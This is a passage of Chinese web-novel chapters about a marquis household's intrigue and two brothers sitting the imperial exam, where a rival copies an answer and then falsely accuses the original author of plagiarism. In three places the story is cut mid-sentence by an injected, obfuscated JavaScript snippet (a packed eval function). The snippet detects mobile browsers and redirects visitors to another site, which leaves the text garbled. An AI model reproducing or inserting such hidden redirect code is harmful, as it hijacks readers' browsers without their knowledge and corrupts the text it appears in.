只见刘云生拽着一个小丫鬟进了前厅,把她扔到地上,随后从怀里掏出一个纸包,将纸包打开,里面赫然露出了白花花的银子。 “回夫人,小的今日见到这丫头鬼鬼祟祟的,便暗中跟在身后,谁知却发现这丫头偷钱!” 红烛接过刘云生递过来的银子,拿到苏若琳面前一看,二十两,对于她来说是不多,但是对这个小丫鬟来说恐怕是这辈子都没见过的巨款。 就连秋姨娘都惊讶道:“二十两,这么多钱!” 刘云生催促小丫鬟:“你自己同夫人乖乖认错,把事情坦白,兴许夫人还能开恩饶你一命。” 小丫鬟哭哭啼啼地求饶,跪在地上不断地磕头。 秋姨娘皱眉,她最不喜欢这种装柔弱的,跟姓柳的那个狐狸精一样:“有事说事,你是哪个院里的丫鬟,犯了什么事?” 原来这小丫鬟是腾云轩的粗使丫鬟,正是刘管事最近买回来的那一批丫鬟婆子里的一个。 前些日子大少爷院里的大丫鬟找到她,说秋姨娘经常自己调熏香,大少爷用着一直说不错,正巧最近大少爷和两位少爷走得近,便有心把这熏香推荐给两位少爷用。 秋姨娘猛地拍桌,厉声道:“胡说,我何时把自己调的熏香给大少爷用过,我调的都是女香,男子怎么能用!” 这声一训斥吓得小丫鬟浑身发抖。 苏若琳问秋姨娘:“你调香这事可曾宣扬过?” 秋姨娘摇头:“本来就是拿来打发时间的,哪里值得往外说。” “这么说来,柳姨娘对咱们府上的事可真是打听的清清楚楚啊。”苏若琳抿了一口茶,“不管是你的事,还是纨玦他们最近走得近,一直都在柳姨娘的耳目。” 秋姨娘啐了一口:“怪不得这狐狸精最近偃旗息鼓了,原来是到背地里使坏去了!” 又冷冷地看向那小丫鬟:“你继续说。” 小丫鬟顿了顿,继续讲道。 本来她是要禀告巧织或者芷若的,却又被那大丫鬟拦住了。 大丫鬟问她:“难道你就心甘情愿一直做一个干粗活的小丫鬟?一直干粗活十几年,熬成老婆子?” 一想到自己要干粗活干到死,小丫鬟打了个哆嗦,当然是不甘心的,能做大丫鬟谁乐意一直干粗活呢! 随后那大丫鬟又道:“我呀,从第一回见到你时就好像看到了我当年的自己,不管天寒地冻没日没夜地洗衣服,后来我就想了些巧办法跟少爷邀功,之后就变成大丫鬟了。” “你呀就想办法悄悄把熏香替换到衣柜里,等到合适的时机,避开大丫鬟们当面向两位少爷邀功,两位少爷就会记着你的好,我就是这么过来的。” 小丫鬟只当这大丫鬟是心善来帮她的,因为她自己就是干着洗衣服的活计,于是便真的找时机趁着大丫鬟们不再把熏香替换掉了。 只是替换掉的熏香她也不知该如何处理,这个时候大丫鬟跳了出来,说想要用十两银子买下这熏香。 小丫鬟一个月的月例才一百文,哪里见过这么多钱?一时贪心便答应了。 听到这里,苏若琳终于知道原来腾云轩的内鬼出在这里了,也是因着腾云轩的丫鬟们除了巧织都是外边买回来的,来府上时间不长,想要收买也很容易露出马脚。 “来找你的那个大丫鬟叫什么?” 小丫鬟道:“回夫人,奴婢听见别人喊她芍药。” 苏若琳看向秋姨娘,杨纨玦的院子里都有什么人她这个当娘的应该是最清楚不过。 秋姨娘眼神暗淡了几分:“居然是她。” 说罢秋姨娘叹了口气:“那丫头也是家生子,她爹跟着商队跑商,她娘之前也是妾身边的大丫鬟,说起来她爹娘当年还是妾身保的媒。” “只是她娘生她的时候难产,把孩子生下来便撒手人寰了,五六岁大的时候她爹跟着商队在外边也出了意外,妾身可怜这孩子,就把这孩子放到自己院子里养着。” 秋姨娘深吸了一口气:“后来这孩子长大了些,妾身也是越看越喜欢,这孩子聪明也漂亮,妾身就把她指到纨玦的院子里当大丫鬟了,想着给纨玦做个通房,日头抬个妾也不错,只是妾身怎么也没想到......” 想到芍药居然叛变了呢。 苏若琳安慰了秋姨娘几句,想着这柳姨娘还真是谨慎啊,都不派自己的人来做这种事,只是如果芍药都暴露了,难道她还以为查不到她自己身上吗? 随后又看向小丫鬟:“你方才说了十两银子,这里是二十两,还有十两是做什么的?” “奴,奴婢收了钱之后,后来芍药又来找奴婢,说是想要托奴婢打听打听夫人的喜好。”小丫鬟止不住发抖。 ! “她敢把主意打到夫人身上!”秋姨娘瞪大眼睛。 苏若琳冷笑:“那你可打听到了什么?” 小丫鬟的情绪已经接近崩溃了,闻言又不停地磕头:“奴婢打听到夫人最近做了一种名为奶茶的饮料,旁的再也没有了,求求夫人饶过奴婢吧!” 刘云生也是不可思议地看着小丫鬟,他原以为这小丫鬟只是偷了钱,想着两位少爷毕竟年纪小,不会做主,便到夫人这里来请夫人做主。 却不成想,居然阴差阳错撞到了这么大的事! “小的一时不查,险些放任底下人伤害到两位少爷和夫人,请夫人责罚!” 说是请罪,实则是表功,夫人不可能会责罚他,只可能赏他! 果不其然,苏若琳又笑了,看向秋姨娘:“你瞧瞧,这小子聪明着呢。” 秋姨娘也笑:“刘管事就是个精明的,他这是随了他爹。” 苏若琳让红烛把这二十两银子递给他:“拿着吧,既然是你发现的,这二十两便归你了,只是今日一事,你烂在肚子里就够了,不要往外传出去。” “欸,是!”刘云生欣喜地接过银子。 苏若琳点头:“把这小丫鬟带去你爹那,叫他把这小丫鬟发卖出府去。” 刘云生忙不迭把人又拽走,小丫鬟边哭边喊,苏若琳派下人把她嘴给捂上,又吩咐下人们:“若是别人来打听这小丫鬟犯了什么事,就说她偷了钱,若有哪个院子里丢了二十两来找我。” 下人们纷纷应道:“是。” 苏若琳又看向秋姨娘:“事情已经发生了,如果不是今日偶然瞧见了,恐怕你怎么查也查不到芍药的身上。”

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苏若琳穿越来的这个朝代倒是没有那么夸张,不过三四十岁的考生也大有人在,因此只有十几岁的哥俩在一众考生里确实显得尤为年轻。 “大一点的就是如今的安定侯,今年十六,去年秋闱中第七举的那个。”有考生小声解释道,“至于那个小的才是最可怕的,今年才十三,已经连中四元!” “哦哦,满京城传言的那个天之骄子就是他!” “可不是嘛,十三岁连中四元,而且据说那四元都是去年一路考下来的,恐怕春闱也是等着一飞冲天呢!” 附近的窃窃私语涌入杨纨枫的耳朵,原本还有些紧张的他反而冷静了下来,此时此刻他最大的想法竟然是,这些人怎么和纨岚一样聒噪? 会试不是高手如林么,怎么高手也这么爱八卦? 他拉着杨纨玦想要尽快进考场,这时,不远处传来了一道熟悉的声音:“哟,安定侯,还有杨兄,真是巧啊!” 杨纨枫回过头,随后便看到了贺章之那张熟悉又欠揍的脸。 真是阴魂不散啊!!! 杨纨枫难以置信地瞪大双眼,为什么贺章之这么迷之自负的人居然不是纨绔子弟,居然也能进春闱! 他想要赶快进考场的心更加迫切了,低头朝身旁的杨纨玦小声呐喊:“大哥,咱们快走!” 杨纨玦看了贺章之一眼,思索此人看着气质非凡,应当也是贵族子弟,而且比起秋闱的那个周家少爷要成熟稳重得多。 怎么纨枫看见此人比看见那个周家少爷还嫌恶? 正思索着,贺章之竟然已经小跑着拦在了两人面前:“贺某先前给杨兄寄了那么多份请柬,杨兄是都没有收到吗?” 请柬? 哦......杨纨玦想起来了,这人就是那个庆国公府嫡长孙啊。 杨纨枫对贺章之的疑问充耳不闻,却没想到他不动,对方就全自动,只见贺章之十分善解人意道:“没关系,没收到的话,我回头把送请柬的管事杖毙就好。” “反正咱们如今也在春闱遇到了,一起同行?” 杨纨玦瞪大双眼,杖毙?就因为这点小事??? 而杨纨枫听到这番话,不得不皱着眉头开口回应:“收到了。” 71. 第七十一章 “哦?收到了?”贺章之扬起眉头,十分惊讶,“既然收到了,为何杨兄不来赴约?” “太忙了。”杨纨枫言简意赅,一个字也不想多说。 贺章之还想再说什么,恰巧这时前边排队的人刚好搜完身,杨纨枫连忙拽着杨纨玦跟上队伍。 等到哥俩搜完身进了考场,杨纨玦轻声道:“......还真是暴戾啊。” 不问个中详情,张口就要把管事杖毙。 “只是不把人当人看罢了。”杨纨枫淡淡道,“那些下人奴婢,甚至于平头百姓,在他们眼里和那些待宰的牛羊没什么区别。” 杨纨玦拍了拍他的肩:“别想那么多了,咱们去找号舍吧。” 春闱的考场比起秋闱最大的不同,就是春闱的考场要大许多,毕竟参加春闱的是来自五湖四海的考生,再者,便是春闱的考官,就都是实实在在的京官。 这些考官都会是考生们及第做官以后的前辈乃至上司,他们不仅决定了考生春闱能否高中,更是影响着考生做官以后的仕途,因此考生私下行贿者也不在少数。 不过这种行贿的行为在当朝倒是少了许多,甚至近乎没有。 为何如此?究其原因,则是因为当朝几十年春闱的主考官都由一人——太师张辅之亲自担任。 太师本非实官,其本质工作为辅佐皇帝,而不直接插手政事,因此大多数情况下的太师并没有太多话语权。 但是张辅之不同的是,他从建朝之初便入朝为官,历任侍郎、尚书,后于满朝文武面前领下圣旨,封为太师,代行百官之责。 虽说“代行百官之责”这句话是高祖时立下的,如今历经三代,早就作废了,但是张辅之在百官之中的地位却早已无可撼动。 不仅如此,世人皆知张太师和儒圣乃是生死之交,两人皆出身自柳州,少年之时便是挚友,俩人一位处庙堂之高稳政局,一位处江湖之远扬威名,此乃大楚几十年不变的佳话。 因此,当考试铃声响起,太师张辅之带着一众考官巡视考场之时,无数考生都来到号舍门前,深处脑袋朝外边张望。 “快看,那就是张太师!” “气势好强大!” “那可是大楚等同于丞相的存在啊!” 考生们呼声之热烈,热烈到督考们都按不下来,不过好在试卷都还没有发,考生们也都在自己的号舍安稳地呆着里,热闹归热闹,没有影响到秩序就好。 杨纨玦和杨纨枫哥俩听到外边这般热闹,也不由得好奇得探出头。 太师张辅之的声名他们自然是知道的,不过这并非让他们好奇的原因,他们好奇的是,传闻中能镇得住曾祖和曾叔祖两个老顽童的那位老大哥,究竟是何许人也。 如今远远一瞧,只见来者明明一身官服,却愣是穿出了仙风道骨的气质,瞧那沟壑纵横的眉心旁凌厉的双眼,仿佛只要多看一眼,都能被吓得屁滚尿流。 怪不得能镇得住两位老爷子呢。 杨纨玦在心里腹诽着,杨纨枫则是非常郁闷地看着拦在自己面前的号舍门。 考场门在考试开始后便全部上锁了,为了保障考生有意外向督考禀告,所以号舍的门自然不能全部封死,要留有一定的空间;而为了防止考生看到其他号舍的答卷作弊,所以门也不能建的太矮。 他们考场的门高度刚好到一个正常成年男性的脖颈,这个高度对于大多数人都没问题,包括杨纨玦,但是杨纨枫就...... 他第一次痛恨自己怎么只有十四岁,这个门的高度到了他的鼻翼,直接遮住了他半张脸! 这样从门外边看,他肯定就像个滑稽的矮子。 他又想起了除夕那日,母亲说他还不如纨岚高...... 虽然当时也验证了母亲只是误判,但是,这件事还是默默地伤害了杨纨枫小朋友可怜的自尊心。 现在又看到了这扇高得离谱的号舍门,杨纨枫愤恨地猛捶了一下号舍门。 本来周围考生的呼声这般热烈,杨纨枫捶门的闷声应当是不会被发现的,却不曾想,这一声却是清清楚楚地落进了张辅之的耳朵里。 听到声音的张辅之猛地回过头,刚好和杨纨枫对视上。 杨纨枫的后背逐渐开始冒起冷汗。 这熟悉的魄力......他和曾祖绝对是亲兄弟! 张辅之则是略微惊讶地扬起眉头:“参加春闱的考生里边还有年纪这么小的?” 身量才只比那扇门高半个头。 身旁的考官小声介绍道:“这位是安定侯府的二少爷,去年连中四元一路杀上的春闱。” 哦?连中四元? 张辅之不由得想到了几十年前一个意气风发的身影,那个人也是一路连中四元,成为柳州最大的传奇,锐气之盛,剑指会元。 后来变故陡生,天之骄子一夜之间沦为废人...... 当初的柳州三杰,他成了百官之长,老陆成了儒圣,而最有天资的那个,却埋没在了茫茫人间。 细细想来,他们也有几十年没见了,不知道那人在柳州过得可还好么。 分别之后最初的几年里,他还会时常给那人写信,只是所有的信件都石沉大海,而他也越来越忙,逐渐就断了联系。 ......罢了,不想那么多了,老陆最近不是一直在京城么,那老小子之前天南海北的游学,回头托他问问那人的消息。 张辅之逐渐回过神,又看向半张脸被号舍门挡住的杨纨枫,忽地有些恍惚。 有那么一瞬间,自己竟在这个孩子的身上看到了那个故人的影子。 江山代有才人出啊。 他不禁流露出了一丝微笑:“好好考。” 那个人曾经可是对月当歌,要连中六元的。 杨纨枫呆呆地看着张辅之突然露出的笑容,感觉自己整个人都傻了。 张太师刚才冲着他笑了? 事实上,不仅仅是杨纨枫感到震惊,四周的考生、张辅之身后的考官,所有人都被惊得魂飞魄散。 从来不苟言笑的张辅之张太师为什么会笑! 一个考官小声问身旁的同僚:“你入朝时间比我长,你见过太师笑过么?” 同僚擦了擦额头的冷汗:“没有啊!” 他这辈子见过最多的就是张太师那杀人一样的眼神,还有皱成“川”字的眉心。 “那怎么......难道太师和杨二公子认识?”还有考官猜测道。 “你傻啊?”同僚提醒他,“刚才太师不还问那孩子是谁吗?” “那是怎么......” “唉。”有考官叹了口气,“没准就是因为人家天资高,太师爱才心切呢,纵观历朝,连中四元上春闱的能有几个?” 其余考官顿时深以为然,纷纷长叹,他们这些人,当年也都和现在考场里热烈欢呼的考生一模一样,当时谁不期望能被太师多看一眼呢? 长叹过后,也不由得多看了杨纨枫几眼,太师这些年来一共留意过几个后辈? 啧啧,这孩子以后只怕前途无量咯! 考官们心思活络着,杨纨枫倒是没想这么多,他在刚才的一瞬间里,总觉得太师看向自己的眼中还流露着别的情绪。 话说回来,太师这么忙,都没空去看看曾祖么?从曾祖和曾叔祖的话里看,太师和曾祖的感情应当也很深厚吧? 他们长辈之间的事情想必没有那么简单,不过这些都不是他现在该想的,眼见着张太师和考官们一路走远,杨纨枫也回到了自己的位子上。 他现在该想的,是要在春闱考出一个漂亮的成绩。 春闱两场分别过了书义 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12823289|123316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经义、试论判语,终于到了第三场,也就是最重要的一场——策论。 督考将试卷从号门上边递进来后,杨纨枫接过试卷定睛一看,怔愣住了。 这道题怎么...... 和他当初在府试考场外,问钱志远的那个问题一模一样! 这下可好了,这道题他早已在心里思索了千遍百遍,如今下笔如有神助,三下五除二就写满了整整几页。 只是写完之后,他忽地有些恍惚。 春闱能考这道题,说明朝堂之上也是注意到了事情的严重吧? 那么......为什么当时没有人去管管? 总不能是因为朝廷当时也不知道怎么管吧? 那当然是不能的。 当初张辅之当堂上奏,就治洪一事列出了三个方案,言之凿凿,条理清晰,却只因一点被新帝全部驳回。 那就是,支出太高。 当时恰逢丽妃生辰,奢华大办自是需要不少银两,一介平民百姓怎么能和圣上的爱妃相提并论? 那是新帝第一次驳斥张辅之的奏折,也只这一回,便叫张辅之看出,这个新帝难堪大任。 若非先帝临终前拉着他的手,千叮咛万嘱咐,他还能忍到现在? 只是这洪灾一事,也彻底成为了他心中的一根刺。 他与新帝意见不合,多次议政不欢而散,皇帝不点头,那他的方案就算想出花来也没用。 这大楚江山,唯恐毁于一旦。 新帝还年轻,而他已经老了,朝堂之上尚未有能承接丞相重任之人,他面上心灰意冷,心里却急得冒火。 如今只能寄希望于这些考生,这些大楚的未来,能够在他百年之后,撑起这将倾颓的王朝。 此时,当杨纨枫将答案写下之后,另一间号舍的贺章之也是难以置信地瞪着眼睛。 这道题,和杨纨枫那小子当时在府试说过的一模一样! 他不禁笑了,真是天助我也。 策论一提从来都是他最不擅长的,他完全无法理解书中那些花大银两去救助那些低贱草民的做法,他去年秋闱只是堪堪中了举,便是因着策论答得不行。 如今这可真是方便了他,他就说,杨纨枫那小子必定是有用处的! 你看,虽然那小子狂妄自大、结交朋友还要摆架子,但是就算是不和他结交,都能有这么大的好处,这要是真结交成了友人,往后好处只会更多! 贺章之这般想着,同时努力回忆着杨纨枫当初在府试说过的话,提起笔缓缓落字于纸上。 很快,等到过了第三场策论,春闱终于也结束了。 今年的冬天不仅比往年来得早,还要比往年更加漫长,苏若琳和秋姨娘早早地备了两个暖炉子,等到哥俩出来以后,下人们接过行礼,连忙把暖炉子递到他们手里。 考过了春闱,科举的路就成功了一半,秋姨娘照例心疼地看着哥俩:“上次瘦得都还没补回来呢,怎么这次瘦得更严重了!” 苏若琳揉着纨枫的头,笑了笑:“就这一次了,往后就再也不用受这个苦了。” 杨纨枫小声问道:“母亲相信我和大哥这次就能过吗?” 那一双疲惫但好看的眼眸充满了期待。 苏若琳心道,省状元和省第七,要是高考还不能考个九八五,那她就去手撕教育局。 “当然。”苏若琳宠溺地刮了刮他的鼻子,“母亲相信你们两个,肯定能考个最好的成绩,然后一举及第!” 秋姨娘和两个孩子都露出了笑容。 “行了,咱们快些回去吧,今年真是冷,早些回家泡个热水澡。”苏若琳说着不由得打了个寒颤。 今年是真的冷啊,直到现在碧波池的冰都还没化干净,京城尚且如此,纨岚那孩子早就去了北方,也不知道现在冷不冷。 72. 第 72 章 杨纨岚自新年过后离开侯府,带着商队一路北上,如今已经到了北疆十城的第一座城池——兴州。 算算日子,京城这个时候冰河已经开始解冻了,然而兴州却依然在飘着雪,白茫茫的一片。 杨纨岚在来到兴州之前,已经做好了各种心理准备,他如今已经什么都见过了,各种各样的苦难,各种天灾人祸,什么样的场面他都挺过来了。 在进城的前一秒他还在默念,兴州是战后之城,一定会很悲惨,哪怕饿殍遍地也没关系,他的商队里带了很多货物,到时候能救一个人是一个人。 然而当他进城之后,还是被吓呆了。 等等,不是,说好的战后之城呢?! 怎么这城看起来比他们大楚的刻泽还富?! 杨纨岚连忙拦住了一个卖红薯的小贩:“等等,这位小哥,这里是兴州?” 小贩莫名其妙地看着他:“这儿不是兴州还是哪?” “那,那。”杨纨岚觉得自己脑子都乱了,“这里是被宁安王打下来的兴州?” “你脑子是不是有病啊。”小贩白了他一眼,“别挡着我卖东西。” 杨纨岚掏出荷包,直接把小贩身上的红薯都买了下来,分给商队的诸位,然后拉着小贩到他们的商队那边:“大哥,你跟我说说,我看着兴州富庶得很,一点也不像打过仗的模样啊?” 小贩一看自己一整天的红薯全都被买了,自然也是乐得合不拢嘴,他一屁股坐了下来,接过杨纨岚递来的红薯:“行,那我就跟你说一说。” “要说咱们兴州这么富啊,那还得多亏了宁安王呢!”小贩咬了一口红薯,又甜又热乎! 自己一大早起来就忙着烤红薯,烤好了一块也不舍得吃,都等着拿去卖钱,要不是遇见这么有钱的商队,自己怕是开春以后都吃不上一口自己烤的红薯! 小贩的胃和心都暖和了起来,登时嘴就更活络了:“我跟你说啊,咱们宁安王那简直就是大楚的救星啊!” 这小贩讲起故事来是有几分天赋的,快把宁安王说成了神话里的斗战胜佛,给杨纨岚听得一愣一愣的。 “这宁安王真有那么关怀百姓?” “那可不!”小贩说着环顾了一下杨纨岚的商队,“我看你们这商队规模不小啊,肯定还得往北边去吧?” “我跟你说啊,王爷的军队现在什么都不缺,最缺的是药材,你们多搞点药材去找王爷,王爷给的价格相当公道,你们绝对能大赚一笔!” 等到小贩走了以后,杨纨岚不由得对宁安王产生了许多好奇。 价格公道? 除了药材什么都不缺,连钱都不缺? 据他所知,新帝已经断了宁安王的所有物资,那么宁安王现在的物资都是从哪里来的? 话又说回来,宁安王的军队这么富足,为何还会缺药材? 还是说,行军打仗,其实最缺的就是药材么。 杨纨岚不禁眯起眼,看向群峰峻岭的北方。 而在遥远的京城,等到春闱的杏榜揭榜之时,已是半个月后的事了。 因着春闱之后两个月便是殿试,殿试过后才释褐授官,所以春闱的结果并没有报录人登门报喜。 也正因此,每年这个时候,贡院墙外的人哟...... 莫要说那墙外的人了,周围两条街都会被围堵的水泄不通。 这一次安定侯府依旧没有去凑这个热闹,不管是早去还是晚去,名次永远都是那个名次,又不会长脚跑了。 故而苏若琳打算等过几日,人少的时候再去。 她是这么打算的,杨纨玦和杨纨枫哥俩也都沉住气,没什么意见,于是就都留在府里,反倒落得清静。 而在贡院那边,则真的是摩肩擦踵,无数考生往前挤得挤,往后退得退,场面混乱不堪。 “别挤!”督考们奋力地大喊着,然而连同他们的声音一同被淹没的,是他们的人。 此时贡院对面酒楼的一间包间里,贺章之望着楼下拥挤的人群,略微皱眉:“匹夫俗子。” 聒噪。 这时,身后传来了一道风韵成熟的女声:“儿呀,也别光站着了,过来吃饭吧。” 贺章之回过头,映入眼帘的便是庆国公府的世子夫人,安国公府的大小姐,也是他的生身母亲。 “是,母亲。” 贺章之的母亲周夫人给他盛了一碗燕窝,含笑道:“你先前说的,这次春闱必定能高中,可是真的?” “当然是真的!”贺章之自信道,如果是他自己的答案不中也就算了,他就不信杨纨枫的答案都能不中。 而他话音刚落,包间的门便响起了剧烈的敲门声。 丫鬟打开门,只见一个下人激动地跑了进来:“中了!世孙中了!” 周夫人嫌恶地看了那个下人一眼:“哪怕是中了,你也不该对着主子这般大呼小叫,我是怎么教给你的规矩?” 下人原本欣喜的神色顿时变为惊恐,连忙跪下不住地磕头:“小的知错了,求世子夫人饶罪啊!” 他实在是太激动了,他不想被杖毙啊! 周夫人冷哼了一声:“罢了,看在今日大喜的份上,就饶你一命,回去自己领二十个大板吧。” 末了又问道:“可看清楚我儿中了第几名?” “中了第二名!”下人连忙道,“世孙的策论题答得尤为好,竟然和会元的答卷一同被贴在了墙上!” 闻言,周夫人和贺章之都惊喜地瞪大眼睛。 古来今往,春闱向来只有第一名的答案有资格贴在杏榜旁,供人翻阅,而这次,居然贴了两个人的! 这得是多么大的荣耀啊! 贺章之连忙问下人:“那第一名是谁!” 不会是杨纨枫吧?不对,肯定是那小子吧! 下人道:“回世孙,正是您近来想要结交的那位,安定侯府二公子,杨纨枫。” 果然是那小子!那他不就连中五元了! 贺章之虽然瞧不上杨纨枫的出身,但是对于杨纨枫的才学,他是打心眼里佩服。 只是周夫人在听到“安定侯府”时,脸色却顿时阴沉了下来:“安定侯府?” 贺章之注意到了母亲不高兴,心中惊疑升起,小心翼翼道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周夫人阴沉地看着贺章之:“我的儿,这是怎么回事?” 贺章之脊背发凉,他哪里敢说,他就是抄的杨纨枫的! 只是他不说话,周夫人又怎么可能觉得是自己儿子错了? 她的手险些将纸攥碎:“是不是安定侯府的那个小子抄了你的答案?” 贺章之惊恐之下连忙点头。 “好,好啊,好!”周夫人拍案而起,“苏若琳那个贱人臭不要脸,她的儿子也是厚颜无耻!” 愤怒过后,周夫人又心疼地拉起儿子:“我的儿,你受委屈了。” “你放心,这件事,母亲肯定给你讨个公道!” 贺章之擦掉额头的汗,松了一口气,只觉得这件事搪塞过去了。 至于母亲要给他讨公道?题目都是一样的题目,历年的考生有千千万,答案巧合那不是很正常? 他没觉得母亲真得能给他讨什么所谓的“公道”。 只是他不知道的是,周夫人居然把这事闹到了张辅之的面前。 73. 先更这点! 因着杏榜所在,贡院外连着堵了三日,待到三日后一切都已尘埃落定,几家欢喜几家忧。 而这三日里,安定侯府甚至都不需要派人去看榜,自有无数人登门祝贺,杨纨玦高中贡士,而杨纨枫再夺第一名会元,连中五元! 祝贤盛连着几天没合拢嘴,顺带着人都好说话了许多,就连陆恒之都觉得这几日和他斗嘴没什么意思了。 “给你拿了个五元回来,高兴了?” 祝贤盛轻咳了两声:“勉强凑活吧。” 陆恒之翻了个白眼。 杨纨枫倒是依旧如常,不过他自然也是松了口气,曾祖昔年连中四元,止于秋闱,若是往后自己就算再不济,也替曾祖再进了一元。 不过......如果可以的话,他还是希望殿试也拿个第一名,全了曾祖的第一个心愿。 这几日安定侯府热闹得比春闱更胜,不少人家甚至来向苏若琳打听两个孩子的婚事。 苏若琳都笑着敷衍了事,纨玦早已和秋歌订下了婚约,至于纨枫,人家还是个孩子! 即使是在这个时代,她也不喜欢包办婚姻,纨枫这么出息,以后定然是不愁找媳妇的,什么时候等他自己遇到了喜欢的,再来让自己去人家。 不过即便她的态度都已经这般明确了,来向安定侯府打听婚事的依旧是络绎不绝,搞得她心都累了。 只是今日,外边忽然起了不好的传言,道是杨纨枫是抄的别人的答案才中的会元,更甚者有人到了安定侯府门前叫骂。 对此,其实聪明一点的人都是不会信的。 很简单的一件事,既然都抄了,那自然是无法比被抄的人更优秀的,怎么可能抄出来个第一名? 退一万步来讲,若是抄了一次抄到第一名,也算他运气好,那谁家抄答案能抄个五元出来? 若是五场考试都能抄到答案,那督考和考官们都是干什么吃的? 只是后来听说,被抄袭的那家言之凿凿,而且还是颇有权势的,甚至都告到了主考官张太师那里,这就有好戏看了。 张太师可是春闱的主考官啊,春闱考生每个人的答卷都是他判的,现在居然有人告到他面前说春闱作弊,那岂不是在说他老眼昏花,看不出有人的答案是抄的? 对此,张辅之也是很惊讶。 不过他办事一项严明,问及那家人是否愿意和杨纨枫当堂对质,那家人一口答应,张辅之随即派人去传唤杨纨枫,又派人去请了京兆尹,就在贡院的大门外主持公道。 若是杨纨枫的会元真是抄的,不仅当堂给其论罪,张辅之本人也当场道歉;只是若这是诬告......那么这家人可要担得起诬告的责任。 张辅之不愧是和祝陆两人出自一脉,三兄弟办事的秉性几乎是一模一样的,说一不二、雷厉风行。 张辅之本人也清楚,如今新帝正记恨他,想要把他拉下去,若是他这次春闱真得看走了眼,那就正遂了新帝的意。 但是那些考生的试卷就是他看的,莫说他对自己的判断丝毫不怀疑,就算他真的是老眼昏花,他也必须要担这个责! 而当张辅之派去的人来到安定侯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12956624|123316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 府时,不要说苏若琳了,祝贤盛和陆恒之都惊到了。 祝贤盛眯起的眼眸里散发着骇人的目光:“你是说,有人告发杨纨枫抄袭,要传唤他去贡院?” 张辅之派来的人冷汗涟涟地看着面前的瘸腿老人,有那么一瞬间,他竟然觉得面前的人就是张太师。 “没错,希望杨公子能跟我们走一趟。” 陆恒之问道:“是哪位考生告发?” 那人本不欲多说的,奈何问他的竟然是儒圣,天下谁人不知儒圣和张太师乃是至交?就算如今他不说,只怕后来儒圣也能去找太师问清楚。 只是令那人颇为震惊的是,儒圣既然都这么问了,那就说明儒圣是站在杨公子这边的。 没想到杨公子竟然得儒圣关照,怪不得能连中五元! “回儒圣,是庆国公府世子夫人替其子贺章之讨公道,据世子夫人说,杨公子是抄袭的他儿子。” “庆国公府世子夫人的儿子,贺章之?”陆恒之默念了几遍这个名字,恍然大悟道,“是那个春闱第二名?” 自古春闱杏榜只张贴会元的策论答卷,张贴第二名的,几乎从未有过,这也是件稀奇事了。 “对!”那人连忙点头附和,“贺公子和杨公子的策论答案其实大致相同,而贺公子母亲一口咬定杨公子是抄的她儿子,甚至要求当堂对质。” 闻言,陆恒之反倒捋着胡子笑了:“那可真是有意思。” 他看向祝贤盛:“走,看看热闹去?” 祝贤盛冷哼了一声,看向杨纨枫:“你先去。” 74. 诬告 众人闻言回过头,便见到一抹艳红的倩影出现在了后院的门前。 来者一袭红衣,生得是艳压群芳的模样,只瞧一眼,便足以让你离不开目光。 偏偏这样一个大美人,行走的步履却气势十足,让你不自觉退却,忍不住避其锋芒。 而且这美人还手里握着一张帕子,而那张帕子上竟染着点点血迹,像是落在白雪上的梅花,透着一身傲骨。 “母亲!”杨纨枫连忙来到苏若琳身前,捧起她受伤的手,惊慌道,“您受伤了!” 母亲的手青葱细嫩,甚是好看,虽然因着练琴的缘故,指尖有着一层薄茧,可因着保养得当,连那一层茧都多了几分韵味。 他从小到大,从未见过母亲受伤,更别提流血! 见到儿子担忧的面容,苏若琳是又心软又愤怒,她儿子这么乖这么好,哪个不长眼的敢欺负! 她拍了拍儿子的肩膀示意没关系,而后压着心底的怒意,来到那个下官面前,一字一顿道:“不知是何人诬告我儿,可有证据?” 下官这才回过神,原来眼前这位华贵佳人就是安定侯府如今的主母夫人! 怪不得气势如此之盛,若是没点气势的话,恐怕只凭这孤儿寡母的,老安定侯身死当年就被吞噬殆尽了! 想到此,下官在升起敬意的同时又不由得冒出了一丝冷汗,这安定侯府不过一个罪臣之府,怎地竟是卧虎藏龙啊! “这......是庆国公府世子夫人为其子讨要公道,属下奉太师之命来请杨公子前去当面对质。” 他特地将“请”这个字咬得极重,态度也尽量放得恭敬:“夫人不必担心,杨公子才学佼佼,只需去贡院做个证明,太师定会给杨公子讨一个公道。” “给我儿讨一个公道?”苏若琳冷笑,“若真是给我讨公道,这些日子诬陷我儿春闱作弊的流言满天飞,可也没见官府去堵那些人的嘴!” 眼见着苏若琳就要发火,杨纨枫连忙拽了拽她的袖子,摇头道:“母亲,我没事的。” 就连祝贤盛也用拐敲了敲地,出声道:“让纨枫去!你儿子的能耐你还信不过?” 苏若琳咬牙,她是真的气不过啊! 纨枫好不容易连中五元,势头正盛,多少人在暗处盯着呢,若是这个时候声名出了点问题,说不定就连累一生的仕途! 